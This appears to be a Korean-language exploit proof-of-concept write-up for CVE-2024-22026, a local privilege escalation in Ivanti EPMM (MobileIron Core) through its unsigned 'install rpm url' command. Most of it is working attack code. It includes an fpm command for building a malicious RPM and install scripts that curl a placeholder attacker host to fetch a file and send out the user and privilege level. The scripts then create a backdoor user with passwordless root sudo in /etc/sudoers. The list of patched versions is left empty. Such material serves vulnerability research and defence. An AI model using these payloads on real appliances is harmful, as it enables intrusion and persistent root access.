
Exploit POC for CVE-2024-22026 affecting Ivanti EPMM "MobileIron Core"
CVE-2024-22026에 대한 익스플로잇 POC - Ivanti EPMM "MobileIron Core" 영향

CVE-2024-22026은 Ivanti EPMM(이전 명칭 MobileIron) 서버 버전 12.1.0.0, 12.0.0.0 및 11.12.0.1 이전에서 발생하는 로컬 권한 상승 취약점입니다. 이 취약점으로 인해 로컬 공격자가 원격 URL의 악성 RPM 패키지를 통해 소프트웨어 업데이트 프로세스를 악용하여 시스템에 대한 루트 액세스 권한을 얻을 수 있습니다.
자세한 기술 정보는 전체 블로그 게시물을 참조하십시오: Exploiting CVE-2024-22026: Rooting Ivanti EPMM (MobileIron Core)
연구 과정에서, 어플라이언스가 낮은 권한의 사용자로 RPM 패키지를 가져와 설치하기 위해 다음 명령을 사용한다는 것을 발견했습니다:
install rpm url <remote url>
위 명령은 다음 작업을 루트로 실행하기 위한 CLI 래퍼일 뿐입니다:
/bin/rpm -Uvh *.rpm
이 기본 rpm 명령은 서명 확인이나 URL 필터링을 적용하지 않으므로 모든 RPM 패키지를 설치할 수 있습니다. 이로 인해 공격자가 악성 RPM 패키지를 위조하여 배포함으로써 어플라이언스를 손상시킬 수 있습니다.
다음 명령은 악성 RPM 패키지를 생성하는 데 사용됩니다:
fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "exploit-poc" --before-install preinstall.sh --after-install postinstall.sh -C .
preinstall.sh)#!/bin/sh
curl -O http://<attacker_IP>/poc
exit 0
postinstall.sh)#!/bin/sh
set -e # 엄격한 오류 검사 활성화
# 현재 사용자 및 권한 수준 보고
CURRENT_USER=$(whoami | base64)
PRIV_LEVEL=$(id -u | base64)
curl http://<attacker_IP>/poc?user=$CURRENT_USER
curl http://<attacker_IP>/poc?priv=$PRIV_LEVEL
# 새 루트 사용자 생성
if ! useradd -s /bin/sh -m exploit-poc; then
echo "사용자 'exploit-poc' 추가 실패" >&2
exit 1
fi
echo "exploit-poc:<redacted_password>" | chpasswd
# 루트 권한 부여
if ! echo "exploit-poc ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
echo "sudoers 파일 수정 실패" >&2
exit 1
fi
exit 0
취약점을 악용하기 위해, 공격자는 CLI에서 다음 명령을 실행하여 악성 RPM을 가져와 설치합니다:
install rpm url http://<attacker_IP>/ivanti-privesc-13.37-1.i386.rpm
Ivanti는 CVE-2024-22026을 해결하기 위해 다음 버전에서 패치를 출시했습니다:
이 저장소 및 그 내용은 교육 및 연구 목적으로만 제공됩니다. 여기에 포함된 정보의 사용은 본인의 책임 하에 이루어집니다.